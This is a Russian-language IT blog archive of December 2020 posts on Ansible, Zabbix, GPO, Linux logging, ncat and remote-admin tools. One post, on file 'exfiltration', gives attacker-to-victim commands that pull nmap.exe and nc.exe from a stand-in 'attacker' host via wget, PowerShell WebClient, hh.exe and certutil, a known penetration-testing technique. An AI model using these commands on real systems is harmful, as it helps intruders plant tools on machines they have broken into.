Monday, 28 December 2020

Маскарад.

Всем привет.

Провожаю этот неспокойный год еще одной почемучкой. Приятного вам чтения.

    Морган была хорошим охотником. Такую дикую кличку ей дали по традиции племени, история которого очень давно пересеклась с пиратским кораблем, разбившимся на большом рифе. И с теми кто выжил тогда. Она всегда возвращалась с добычей. И это туманное утро не был чем-то особенным, кроме одного - было необычайно тихо. Так тихо, что Морган невольно заслушалась тишиной настолько насколько это было возможно в джунглях острова. Но инстикт охотника все же вернул ее чувства к привычному состоянию. Она выжидала, в ее раннем опыте главным было уметь выждать добычу. Туман нехотя начал оступать в сторону океана все больше оголяя полосу чистой прибрежной полосы.

И тут она уловила новый для ее уха звук. Звук совершенно незнакомый. Морган напрягла свою память, чтобы подготовиться и определиться с навыками на поражение цели, но мозг упорно не желал подсказывать ассоциативный образ. Звук все не уходил, а лишь рывками нарастал, или ослабевал...и, что еще больше удивило Морган, происходил откуда то сверху. Морган был мастером маскировки, но рисковать ей не хотелось. Она попыталась осторожно повернуть голову в сторону звука, но тут вдруг новый объект привлек ее внимание. К берегу из тумана вышла лодка. Она без труда определила что это была лодка, но..она была без весел и без паруса. На этом странности утренней охоты для нее только начались - лодка была с округлыми бортами и почти бесшумная. Она легко выскочила на песчанный берег и из нее вышло четверо людей.


Морган так и подумала, но через секунду засомневалась. Ну да, они двигались также как он, руки, ноги, голова, и...стоп, что-то было не так.

- Спокойно, малышка. Ну-ка, еще раз.

Wednesday, 23 December 2020

Удаление McAfee DLP Endpoint.

Всем привет.

Бывают ситуации когда хост по каким-то причинам не может достучаться до своего ЕРО-сервера. Но еcть необходимость переставить или снести штатно математику клиента McAfee.

Если известен пароль супер-админа то с этим проблем не будет, кроме удаления модуля "DLP Endpoint". DLP Endpoint требует для себя небольшого устного диалога с сервером ЕРО.

Итак заходим в ЕРО и выбираем меню "DLP Help Desk".

Далее указываем:

1) Тип ключа - ключ удаления.

2) Пароль обхода клиента: 

- тут нужно выбрать имя политики и ее редакцию. Где их найти? Находим нужный хост в Дереве систем. Далее идем на закладку "Продукты" становимся на строку "DLP Endpoint" прокручиваем вниз до "Политики DLP". Там запоминаем имя политики и ее версию (редакция).

3) Идентификационный код получаем с искомого хоста запустив на нем деинсталляцию "DLP Endpoint".

4) Жмем "Создать ключ" и получаем код переноса, который и является искомым ключом удаления. Вводим его на хосте. Деинсталляция пошла.


Имя пользователя, имя хоста и email можете указать любой. Эти значения на ключ удаления не влияют.

Успехов.


Разовая задача в GPO.

Всем привет.

Случилась на днях задачка, по которой надо бы опросить ПК пользователей на тему оставленных USB-флешек. Это касалось тех ПК которые не выключались на ночь. 

Ну что ж, выходит что надо выбрать какое-нибудь ночное время и выполнить самописный скрипт один раз:

Get-WMIObject Win32_DiskDrive | Where { $_.InterfaceType –eq ‘USB’ }

Всего один. Заходим в GPO и выбираем плюсик, а далее выбираем выполнить "Once", т.е разово.



Все просто. Но можно спутать с менюшкой "Immediate task" где по идее можно сделать почти тоже самое. Т.е. только раз, но прямо сейчас.


Кстати, в обоих случаях есть вариант поддержки идемпонетности, т.е. когда задачу не надо выполнять каждый раз при накатывании политики. Раз выполнил и все. 



За это отвечает опция "Apply once and do not reapply." Однако как GPO оценивает что она применилась успешно - вопрос не однозначный. В этом случае лучше обратить свои взоры на Desired State Configuration.

Удачи всем.

Tuesday, 22 December 2020

Виртуальные компоненты в Windows.

Всем привет.

Карантин ограничивает тебя физически, но дает возможность подогнать старые планы изучения нового, а также заглянуть в будущее. Благо что сейчас многие ИТ-вендоры дают возможность собрать дома виртуальный полигон для занятий. А дальше дело техники...

И тут даже сама Windows 10 предлагает немало возможностей. 


Наверное все уже знакомы с тем что к качестве одного из компонентов можно установить поддержку Hyper-V. А после либо из сети либо из образа разворачивать виртуальные хосты. И вязать их виртуальными сетками.

Также в компонентах Windows есть так называемая Песочница. Ничего не надо инсталлировать, это виртуальная ОС, которая является копией вашей хостовой Windows. Там по быстрому можно что-то проверить, и что никак не повлияет на основную систему.

Это еще не все. Там же в компонентах есть подсистема Windows для Linux. И она работает! Образы Linux на выбор в нее устанавливаются из магазина Microsoft Store. Пишут что для этого надо предварительно включить режим Разработчика в Windows (есть и такой!), но у меня заработало и так.

Такие дела.

Sunday, 20 December 2020

How is doing patches and installation by Ansible.

Hi all.

How is doing patches and installation by Ansible? Next story by Janathan Lozada De La Matta.

So we’ve learned how to update a system, restart the VM, reconnect, and install a RPM. 

  - name: update the system

    yum:

      name: "*"

      state: latest

In the first line, we give the task a meaningful name so we know what Ansible is doing. In the next line, the yum module updates the CentOS virtual machine (VM), then name: "*" tells yum to update everything, and, finally, state: latest updates to the latest RPM. After updating the system, we need to restart and reconnect:

  - name: restart system to reboot to newest kernel

    shell: "sleep 5 && reboot"

    async: 1

    poll: 0

  - name: wait for 10 seconds

    pause:

      seconds: 10

  - name: wait for the system to reboot

    wait_for_connection:

      connect_timeout: 20

      sleep: 5

      delay: 5

      timeout: 60

  - name: install epel-release

    yum:

      name: epel-release

      state: latest

Friday, 18 December 2020

How to simplify daily tasks by Ansible.


Hi all.

How to simplify daily tasks by Ansible? Today short-story by Janathan Lozada De La Matta.

1. Managing users.

If you need to create a large list of users and groups with the users spread among the different groups, you can use loops. Let’s start by creating the groups:

- name: create user groups

  group:

    name: "{{ item }}"

  loop:

    - postgresql

    - nginx-test

    - admin

    - dbadmin

    - hadoop

You can create users with specific parameters like this:

- name: all users in the department

  user:

    name:  "{{ item.name }}"

    group: "{{ item.group }}"

    groups: "{{ item.groups }}"

    uid: "{{ item.uid }}"

    state: "{{ item.state }}"

  loop:

    - { name: 'admin1', group: 'admin', groups: 'nginx', uid: '1234', state: 'present' }

    - { name: 'dbadmin1', group: 'dbadmin', groups: 'postgres', uid: '4321', state: 'present' }

    - { name: 'user1', group: 'hadoop', groups: 'wheel', uid: '1067', state: 'present' }

    - { name: 'jose', group: 'admin', groups: 'wheel', uid: '9000', state: 'absent' }

Thursday, 17 December 2020

Как Zabbix взаимодействует с узлами сети.

Всем привет.

Этот пост выглядит как мой конспект одного из вебинаров по Zabbix-у на тему его взаимодействия с узлами сети.

Итак, Zabbix может взаимодействовать с узлами:

1) Zabbix Agent - агент, устанавливаемый на целевые хосты.

2) SNMP - протокол использующийся для управления сетевыми устройствами.

3) JMX - мониторинг JMX можно использовать для наблюдения за счетчиками JMX в Java приложениях.

4) IPMI - интеллектуальный интерфейс управления платформой. В этом контексте Zabbix используется для мониторинга аппаратной платформы серверов.


Для Zabbix хостов и групп:

  • Старайтесь группировать хосты по типам и задачам (хост может быть включен в любое кол-во групп)
  • Давать понятные имена для хостов
  • Впоследствии разделение прав на просмотр и управление
  • Host -  это логическое понятие, один физический хост может содержаться в разных Zabbix Hosts
  • Имя хоста регистрозависимое (для zabbix_sender)


Zabbix имеет типы элементов данных:

В Zabbix организованы активные и пассивные проверки на агентах. Аквивные проверки (от агента к серверу) предпочтительны.

Активные проверки:

- [все параметры агента]

- Hostname: уникальный, регистрозависимый, для активных проверок

- ServerActive: сервер для пересылки данных от агента

- RefreshActiveChecks: частота обновления

Tuesday, 15 December 2020

Как пользоваться ncat.

Всем привет.

Поднимая тему создания шеллов обязательно натыкаешся на использования такой утилиты как Ncat. Программа Netcat - это полезная сетевая утилита, с помощью которой можно анализировать и моделировать работу многих сетевых протоколов, можно выполнять команды на удалённой машине и закачивать или скачивать с неё файлы, перенаправлять трафик с одного порта на другой или с одной машины на другую. Безусловно, пентестеру (аудитору сетевой безопасности) нужно хорошо разбираться в сетевых протоколах и уметь использовать Netcat в процессе обучения.

Поэтому для того чтобы самому знать о чем речь в дальнейшем я собрал полигон (Ubuntu+Windows10) и на бегу проверил примеры ниже.

1) Читаем HTTP-заголовки:

ncat.exe -v google.com 80 <head.txt

- где head.txt:

HEAD /index.php HTTP/1.0

Host: google.com

ncat.exe -v google.com 80 <get.txt

- где get.txt:
GET / HTTP/1.0
Host: google.com

2) Копирование файлов:

ncat -l -p 43210 < readme.txt

ncat -l -p 43210 > 2readme.txt

3) Копирование файлов с поддержкой SSL:

ncat -l --ssl -p 6666 --send-only < test.txt

4) Мини вариант Web-server:

ncat -l 8080 < hello.http

ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

- где hello.http:

HTTP/1.1 200 OK

<html>

  <body>

    <h1>Hello, world!</h1>

  </body>

</html>

Sunday, 13 December 2020

Что такое Powershell Workflows?

Всем привет.

Рабочие процессы, или потоки, или Workflows.  Довольно интересная тема в цифровом мире и в мире Powershell особенно. 

Что же такое Powershell Workflows?

Мне об этом поведал Jeff Wouters, энтузиаст PowerShell из Нидерландов и автор блога http://www.jeffwouters.nl/.

Рабочий процесс (Workflow) – это в сущности несколько заданий, выполняемых последовательно, которые требуют некоторой координации, поскольку они могут выполняться на различных устройствах. С точки зрения дизайна, рабочие процессы могут повторяться, прерываться, перезапускаться, останавливаться и выполняться параллельно – больше об этом я расскажу в разделе «Для чего используются workflow?» далее в посте.

Хотя рабочие процессы очень мощные, нужно понимать, что они также и очень сложные. Можно запросто переусложнить скрипт, и поэтому, как и при работе с любыми большими скриптами, стоит сначала поразмыслить о том, что ваш скрипт будет делать, продумать его структуру, и лишь затем начинать его писать.

PowerShell содержит модуль PSWorkflow, который просто использует Windows Workflow Foundation. Рабочие процессы – это не часть Windows PowerShell. Это просто использование (очень разумное) технологии, которая уже присутствует в операционных системах Windows.

Мощь Workflow

Для того, чтобы действительно оценить мощь рабочих процессов, я могу лишь посоветовать вам начать их использовать. Но, конечно, это не то, что вы ждете от этого поста. Вам нужны примеры, так? Вместо того, чтобы дать вам кусок кода, я приведу пример, знакомый каждому администратору Server Manager.

В Windows Server 2012 он был полностью переписан и стал значительно быстрее, поскольку теперь это фактически графическая оболочка вокруг Windows PowerShell и WMI. Кроме того, он позволяет вам управлять вашей средой из единой консоли, поскольку теперь он также использует рабочие процессы!

Когда вы развертываете решение на основе сценария из Server Manager, он знает (в соответствии со сценарием), в какой последовательности выполнять отдельные задачи. Он генерирует рабочий процесс для выполнения определенных действий и передает его на целевые серверы. Таким образом WMI, совместно с Windows PowerShell, рабочими процессами и удаленным выполнением представляет из себя немалую мощь.

Диагностика Linux.

Всем привет.

У каждого администратора который управляет Linux-серверами в своем арсенале есть свои наработки. Для быстрого анализа производительности сервера и диагностики возникающих проблем он использует проверенный годами набор команд.

Евгений Лебедь имеет следующие:  

1) команда top выводит текущие процессы, которые обрабатываются ядром.  По умолчанию данные обновляются каждые пять секунд.

2) с помощью команды vmstat можно увидеть краткосрочный снимок процессора, памяти, процессов и операций ввода/вывода.

3) с помощью команды iostat можно получить отчет об использовании процессора, нагрузке на дисковую и сетевую подсистему:

# iostat -x 5              - получать данные о нагрузке на жёсткий диск каждые 5 секунд 

Однако iostat является частью пакета системных утилит контроля производительности Sysstatl. Имеет смысл использовать весь пакет. Sysstat сообщает информацию о системе, скорость операций ввода-вывода, объем использования выполняемыми процессаим раздела/файла подкачки, прерываний, сети, памяти, центрального процессора, задействования ядра, tty и другое, в том числе с поддержкой многопроцессорных машин.

Sysstat содержит следующие утлиты:

* sar: отчеты с информацией о системе

* iostat: отчеты об использовании процессора и дискового ввода/вывода

* mpstat: отчеты об использовании процессора как полностью так поядерно

* pidstat: отчеты об задачах (процессах)

* sadf: отчёты by sar в различных форматах

* cifsiostat: отчёты об операциях ввода-вывода для файловой системы CIFS

* nfsiostat-sysstat: (устаревшее) отчёты об операциях ввода-вывода для сетевых файловых систем

Для установки пакета следует выполнить команду # apt-get install sysstat

Saturday, 12 December 2020

Установка сторонних модулей в Ansible.

Всем привет.

Установка сторонних модулей с открытым исходным кодом или специализированных модулей выполняется достаточно просто. Рассмотрим эту установку на примере модулей NTC.

Для этого нужно выполнить следующие действия:

1. Выбрать путь в файловой системе Linux, то есть локацию для хранения всех сторонних модулей.

2. Открыть файл конфигурации Ansible (ansible.cfg) и добавить в путь поиска модулей новый каталог, в котором выполнялось клонирование. 

Если место расположения файла ansible.cfg неизвестно, то необходимо выполнить команду ansible --version в своей системе. Вывод может выглядеть приблизительно так:

ntc@ntc:~/projects$ ansible --version

ansible 2.3.1.0

  config file = /etc/ansible/ansible.cfg

  configured module search path = [u'/etc/ntc/ansible/']

python version = 2.7.6 (default, Jul 21 2020, 16:45:13) [GCC 4.8.2]

Вы также увидите строку library =. В этой строке нужно добавить каталог, в котором сохранены все клонированные репозитории (например, library = /etc/ntc/ansible/). При правильном обновлении файла конфигурации при следующем выполнении команды ansible --version вы увидите все внесенные изменения.

[defaults]

inventory = /etc/ansible/hosts

library = /home/ntc/projects/

Friday, 11 December 2020

Testing Ansible roles with Molecule.

Hi all.

Today we will speaking about how to automate your verifications of code using Python.

Story author - Jairo da Silva Junior.

Test techniques role in software development, and this is no different when we are talking about infrastructure as Code (iaC). Developers are always testing, and constant feedback is necessary to drive development. if it takes too long to get feedback on a change, your steps might be too large, making errors hard to spot. baby steps and fast feedback are the essence of tdd (test-driven development). but how do you apply this approach to the development of ad hoc playbooks or roles?

When you’re developing an automation, a typical workflow would start with a new virtual machine. i will use Vagrant [1] to illustrate this idea, but you could use libvirt [2], docker [3], Virtualbox [4], or Vmware [5], an instance in a private or public cloud, or a virtual machine provisioned in your data center hypervisor (oVirt [6], Xen [7], or Vmware, for example).

When deciding which virtual machine to use, balance feedback speed and similarity with your real target environment.

The minimal start point with Vagrant would be:

vagrant init centos/7 # or any other box

Then add Ansible provisioning to your Vagrantfile:

config.vm.provision "ansible" do |ansible|   

  ansible.playbook = "playbook.yml" 

end

In the end, your workflow would be:

1. vagrant up 2. edit playbook. 

3. vagrant provision 

4. vagrant ssh to verify Vm state. 

5. repeat steps 2 to 4. 

Occasionally, the Vm should be destroyed and brought up again (vagrant destroy -f; vagrant up) to increase the reliability of your playbook (i.e., to test if your automation is working end-to-end). Although this is a good workflow, you’re still doing all the hard work of connecting to the Vm and verifying that everything is working as expected. When tests are not automated, you’ll face issues similar to those when you do not automate your infrastructure. Luckily, tools like testinfra [8] and Goss [9] can help automate these verifications.

Tuesday, 8 December 2020

Настройка DameWare Mini Remote Control.

Всем привет.

Знакомый администратор был приятно впечатлен функционалом DameWare Mini Remote Control. Для него пришлось вспомнить парочку мелочей. Для того, чтобы оптимально настроить DameWare Mini Remote Control, нужно запустить консоль файл DWRCC.exe в папке, где установлено ПО -> Закрыть окно [Remote Connect] -> в консоли выбрать пункт меню [View] -> [Default Host Properties] и установить необходимые параметры в закладках [Remote Options] и [Display Options].



Disable Keyboard Translation - решает проблему с переключением раскладки клавиатуры

Use Slow Link Optimizaion - увеличит скорость передачи данных

Force 16 bit Display - битность цветовой гаммы, чем меньше тем больше скорость (оптимально 16 bit).

Или зайти в главную форму программы DNTU.exe -> Открыть ранее созданный компьютер -> [Remote Control] -> [Mini Remote Control] -> Закрыть окно [Remote Connect] -> [View] -> [Default Host Properties]. После сохранения, настройки будут действительны для всех последующих подключений.

Добавка - более продвинутый инструмент DameWare Remote Control имеет набор полезных функций, но на поверку не имеет логического экспорта наработанной базы хостов.  Т.е. он есть, но импорт полученного результата плачевный. Поэтому проще перекинуть файлик DNTUNB.dbf в C:\Users\Username\AppData\Roaming\DameWare Development.

Успехов.



Sunday, 6 December 2020

Эксфильтрация файлов.

Всем привет.

Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов. 

Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов. 

Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:

attacker> python -m SimpleHTTPServer 8080

Для Рython3: 

attacker>python3 -m http.server 8080

Передаем наш файл:

victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe

Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')

Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt

victim$> cd \users\victim\appdata\local\microsoft\windows\

victim$> dir /s nmap.exe

victim$> cd путь_до_папки

victim$> move nmap.exe[1].txt nmap.exe

Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Или так:

victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt

Friday, 4 December 2020

Журналы Linux #7- ошибки и аудит.


Всем привет.

В Linux есть два компонента которые можно отнести к классическому логгированию. Это Аbrtd  - инструмент для создания отчетов об ошибках, и Аuditd  - прикладной компонент системы внутреннего аудита.

Аbrtd  - инструмент для создания отчетов об ошибках (bug reports). Активизируется при сбоях приложений и собирает дополнительные данные для последующего анализа и формирует отчеты для отправки.

В его состав входят:

abrtd - сам демон

abrtd-applet - апплет, работающий в области уведомлений пользователей в оболочке

abrt-gui - графический интерфейс, которые показывает собранные проблемы и позволяет оповещать о них

abrt-cli - интерфейс командной строки

Установка abrtd: 

yum install abrt-addon-ccpp abrt-addon-python abrt-cli abrt-tui abrt

Wednesday, 2 December 2020

Журналы Linux #6 - journald.

Всем привет.

Я уже писал про систему инициализации systemd, но забыл упомянуть про journald - демон (служба), который собирает записи журнала из всей системы: это загрузочные сообщения, сообщения из ядра и syslog и различных приложений. Он хранит все сообщения в центральном месте - файле журнала. О нем много написано здесь и и здесь, поэтому здесь я изложу кратко только его особенности конфигурации.

Journald особенности:

-бинарный формат логов (защита от подделки, возможность конвертации в другие форматы)

-не требует специальной настройки

-структурированные данные (multi-field, multi-line)

-индексированные данные

-центральное хранилище логов


Какие логи принимает journald?

-простые syslog логи

-логи ядра (kmsg)

-структурированные данные через Journal API

-логи и статусы systemd юнитов

-записи системы аудита (auditd)


Условия работы journald:

-сервис - systemd-journald

-основной конфиг - /etc/systemd/journald.conf

-хранилище логов - /var/log/journal/*

-чтение из хранилища доступно только для группы systemd-journald

Tuesday, 1 December 2020

TLDR как лаконичный man.


Всем привет.

Все мы любим читать --help и man. Несмотря на появление многочисленных форумов, Stack Exchange и прочих ресурсов, хорошим тоном в начале решения своих проблем по-прежнему остаётся самостоятельный поиск ответа в официальной документации. На этих ресурсах вам скорее всего об этом сразу напомнят, ну есть такие гуру которые любят посылать новичков в гугл. Однако профессиональная лень продолжает двигать прогресс даже там, где не всегда того ожидаешь. Впрочем, это не только лень, бывают случаи когда вы банально ограничены во времени на поиск ответа.

И так оказалось, что классический man устраивает не всех. Меня, например, тоже его многостраничные просторы не радуют. Поэтому то и появился проект tldr, который, следуя своей расшифровке «Too Long; Didn't Read», решил принести в консоль лаконичный вид, и дать ищущему  самое главное. 

Авторы tldr описывают своё детище как «коллекцию упрощённых и создаваемых сообществом man-страниц». Главным продуктом их деятельности является собственно библиотека из markdown-файлов, являющихся альтернативными справочными страницами для популярных консольных утилит. Основная их часть относится к категориям «общие» и «Linux», однако есть также отдельные страницы для macOS и даже Windows.

Что хранится в этих страницах? В качестве примера в GitHub проекта демонстрируется tldr-справка по tar:


Как видно, это минимальное описание назначения утилиты и компактный список из самых частых команд. Для tar приводится 7 готовых команд, для ls - 6, для top - 5.

Версия на печать

Популярное